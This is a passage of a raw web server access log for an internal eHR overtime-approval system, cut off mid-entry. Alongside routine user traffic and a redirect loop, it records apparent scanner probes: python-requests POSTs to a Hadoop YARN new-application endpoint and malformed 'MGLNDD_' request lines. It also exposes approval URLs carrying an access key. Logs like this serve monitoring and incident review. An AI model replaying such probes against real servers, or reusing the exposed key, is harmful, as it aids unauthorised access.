"http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:27 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:17:05:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132665%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132665&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132665%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132665&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:17:05:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:17:05:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:17:05:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:17:05:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:17:05:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:17:05:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:17:05:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:17:05:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:17:05:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:17:05:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:17:05:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:17:05:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:17:05:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:17:05:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:17:05:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:17:05:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:17:05:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:17:05:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 100.64.0.1 - - [01/Dec/2025:17:36:14 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.25.1" 100.64.0.1 - - [01/Dec/2025:17:36:14 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 192.168.12.69 - - [01/Dec/2025:18:02:31 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [01/Dec/2025:18:02:31 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.12.69 - - [01/Dec/2025:18:02:32 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [01/Dec/2025:18:02:32 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 100.64.0.1 - - [01/Dec/2025:18:04:57 +0800] "MGLNDD_202.111.43.170_8088" 501 228 "-" "-" 100.64.0.1 - - [01/Dec/2025:18:04:57 +0800] "MGLNDD_202.111.43.170_8088" 501 228 100.64.0.1 - - [01/Dec/2025:18:08:27 +0800] "MGLNDD_222.92.19.198_8088" 501 227 "-" "-" 100.64.0.1 - - [01/Dec/2025:18:08:27 +0800] "MGLNDD_222.92.19.198_8088" 501 227 100.64.0.1 - - [01/Dec/2025:18:25:42 +0800] "HEAD /ehr/mgr/batchapprove.php?key=7C6666DC02DC78F9C651E64273EB06262F0178D1E289B1958F56628059544E0B567445550985DFEB0CA9630A759759A0 HTTP/1.1" 302 - "-" "-" 100.64.0.1 - - [01/Dec/2025:18:25:42 +0800] "HEAD /ehr/mgr/batchapprove.php?key=7C6666DC02DC78F9C651E64273EB06262F0178D1E289B1958F56628059544E0B567445550985DFEB0CA9630A759759A0 HTTP/1.1" 302 - 100.64.0.1 - - [01/Dec/2025:18:25:43 +0800] "HEAD /ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F9C651E64273EB06262F0178D1E289B1958F56628059544E0B567445550985DFEB0CA9630A759759A0 HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [01/Dec/2025:18:25:43 +0800] "HEAD /ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F9C651E64273EB06262F0178D1E289B1958F56628059544E0B567445550985DFEB0CA9630A759759A0 HTTP/1.1" 200 - 100.64.0.1 - - [01/Dec/2025:18:25:45 +0800] "GET /ehr/mgr/batchapprove.php?key=7C6666DC02DC78F9C651E64273EB06262F0178D1E289B1958F56628059544E0B567445550985DFEB0CA9630A759759A0 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [01/Dec/2025:18:25:45 +0800] "GET /ehr/mgr/batchapprove.php?key=7C6666DC02DC78F9C651E64273EB06262F0178D1E289B1958F56628059544E0B567445550985DFEB0CA9630A759759A0 HTTP/1.1" 302 - 100.64.0.1 - - [01/Dec/2025:18:25:45 +0800] "GET /ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F9C651E64273EB06262F0178D1E289B1958F56628059544E0B567445550985DFEB0CA9630A759759A0 HTTP/1.1" 200 13484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [01/Dec/2025:18:25:45 +0800] "GET /ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F9C651E64273EB06262F0178D1E289B1958F56628059544E0B567445550985DFEB0CA9630A759759A0 HTTP/1.1" 200 13484 100.64.0.1 - - [01/Dec/2025:18:25:55 +0800] "POST /ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F9C651E64273EB06262F0178D1E289B1958F56628059544E0B567445550985DFEB0CA9630A759759A0 HTTP/1.1" 302 128 "http://hcp.maglayers.com.cn:8088/ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F9C651E64273EB06262F0178D1E289B1958F56628059544E0B567445550985DFEB0CA9630A759759A0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [01/Dec/2025:18:25:55 +0800] "POST /ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F9C651E64273EB06262F0178D1E289B1958F56628059544E0B567445550985DFEB0CA9630A759759A0 HTTP/1.1" 302 128 100.64.0.1 - - [01/Dec/2025:18:25:56 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132666%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132666&target=iframe HTTP/1.1" 302 108 "http://hcp.maglayers.com.cn:8088/ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F9C651E64273EB06262F0178D1E289B1958F56628059544E0B567445550985DFEB0CA9630A759759A0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [01/Dec/2025:18:25:56 +0800] "GET 